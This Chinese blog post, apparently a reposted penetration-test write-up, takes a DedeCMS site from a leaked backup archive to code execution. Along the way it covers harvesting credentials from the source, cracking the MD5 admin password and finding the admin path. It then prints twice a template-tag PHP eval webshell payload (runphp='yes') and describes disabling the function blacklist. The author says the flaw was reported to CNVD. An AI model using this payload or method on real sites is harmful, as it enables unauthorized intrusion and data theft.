记一次从源码泄露到getshell(一)

╰+攻爆jí腚メ 2024-04-07 10:38 140阅读 0赞

0x00 前言

此次渗透中的所有修改已经复原,且漏洞已经提交至cnvd平台

0x01 源码泄露

在一个月黑风高的夜晚,闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描

在查看备份文件扫描结果时,看到了宝贝

cd5ecf204de01766e556e8084f1b9de5.png

二话不说,访问下载得到源码!

可以在注释信息处发现dedecms的痕迹

a2f6603797c351d2d29665e6e242f563.png

0x02 敏感信息泄露

获得源码的第一步当然是获取敏感信息

先尝试全局搜索(crtl+shift+f)关键词

  1. key
  2. pwd
  3. passwd
  4. password

1.数据库信息泄露

2945b0195adbf2c7a147130b4298b9c4.png

2.后台管理员密码泄露

694350907974a7c946b62ddcae1708e9.png

md5解密尝试解密,居然是一个弱口令

286905f4396fb9ce9cbf4e5eae7b60f0.png

有了账户密码后当然是要找到后台管理地址,那么有了源码后台管理地址还不是手到擒来?

后台RCE->getshell

源码中找到后台地址(居然改了个888)

2fab1028358c8bd288f1cce9d95de49e.png

用泄露的admin/admin888进入后台后,发现版本信息为dedecms PS1

0x03 历史漏洞

既然已经获得了cms信息,第一步当然看看他的历史漏洞

查找SP1历史漏洞都是远程代码包含漏洞,但是这个站点已经将关键文件install.php删除(源码中不存在)

抱着侥幸心里又去尝试访问l一下(说不定后来又加上了呢)确实不存在,只能继续查看其他功能点

然后也尝试测试了许多SP2的漏洞payload但均失败

继续测试其他点

继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数

a1e35a533b8886061a5abb1160a0bd26.png

但是明明没有模板引擎功能他为什么要禁用呢?

我带着这个疑问又重新翻看源码

果然又找到模板相关文件,(说明只是功能点被隐藏,文件依旧还在)

118605d7db9268ba51dc73c410954c0d.png

尝试访问,成功访问到并且能够正常执行

0a857c78c39361afcb70d58acf7522ff.png

那么就好办了,根据dedecms模板规则,后台模板写入payload,访问即可执行PHP代码

  1. {dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
  2. //调用方式 [field:字段名/] 这里的关键是runphp='yes'
  3. //php代码则是简单的一句话

然后去将其他选项中的禁用函数全部删除保存

cb3b261a2a5f47a9a1496e76cc571fc7.png

因为注入到了index.htm

所以连接webshell 的 url为首页

  1. http://xxxxx:9890/index.php

df4d17cd52e97afc596fc8bc259bac87.png

成功getshell

75901a301690031e685c00cf6c8de8e7.png

本来还应该通过源码泄露得到的数据库账户密码尝试连接数据库的,但这里删shell跑路太急了就忘记了测了

0x04 总结

1.通过御剑目录扫描工具发现目标站点存在备份文件www.rar,对其下载到本地,进行源代码分析

2.通过phpstorm打开源代码,尝试全局搜索(crtl+shift+f)关键词如:key,pwd,passwd,password,发现数据库的配置连接页面config.php,其中里面包含了数据库的用户名和密码以及地址。并且在注释信息处发现dedecms的痕迹

3.并且在网站源码中搜索到数据库的备份文件,里面泄露了网站管理员的用户名和密码md5值

4.通过md5对密码md5值进行解密,成功解密出密码为admin888

5.通过源码分析发现后台路径为/admin888,通过解密出来的密码以及用户名,可成功登陆到网站后台。

6.通过搜索dedecms的历史漏洞,发现目标站点都不能利用。

7.查看系统设置->系统基本参数->其他选项中有模板引擎的禁用函数,都大多数被禁用了。

8.搜索模板相关的文件(templets关键字)发现templets_main.php是存在模板文件,访问模板文件

http://www.xxx.com/admin888/templets\_main.php,可正常查看到。

9.对模板库文件中的index.php进行修改,这里添加一句话木马

{dede:field name=’source’ runphp=’yes’}@eval($_POST[‘lyy’]);{/dede:field}

//调用方式 [field:字段名/] 这里的关键是runphp=’yes’

//php代码则是简单的一句话

10.最后通过格拉斯连接一句话木马(http://www.xxx.com/index.php)

原文链接: https://xz.aliyun.com/t/10692

发表评论

表情:
评论列表 (有 0 条评论,140人围观)

还没有评论,来说两句吧...

相关阅读

    相关 面试

        2019.7.16日  天气:暴热暴晒,撑着伞都顶不住...   今天去面试前端实习生,到公司后就直接开始写笔试题目,然后写完后,与面试官进行交谈,发现自己的一些不足,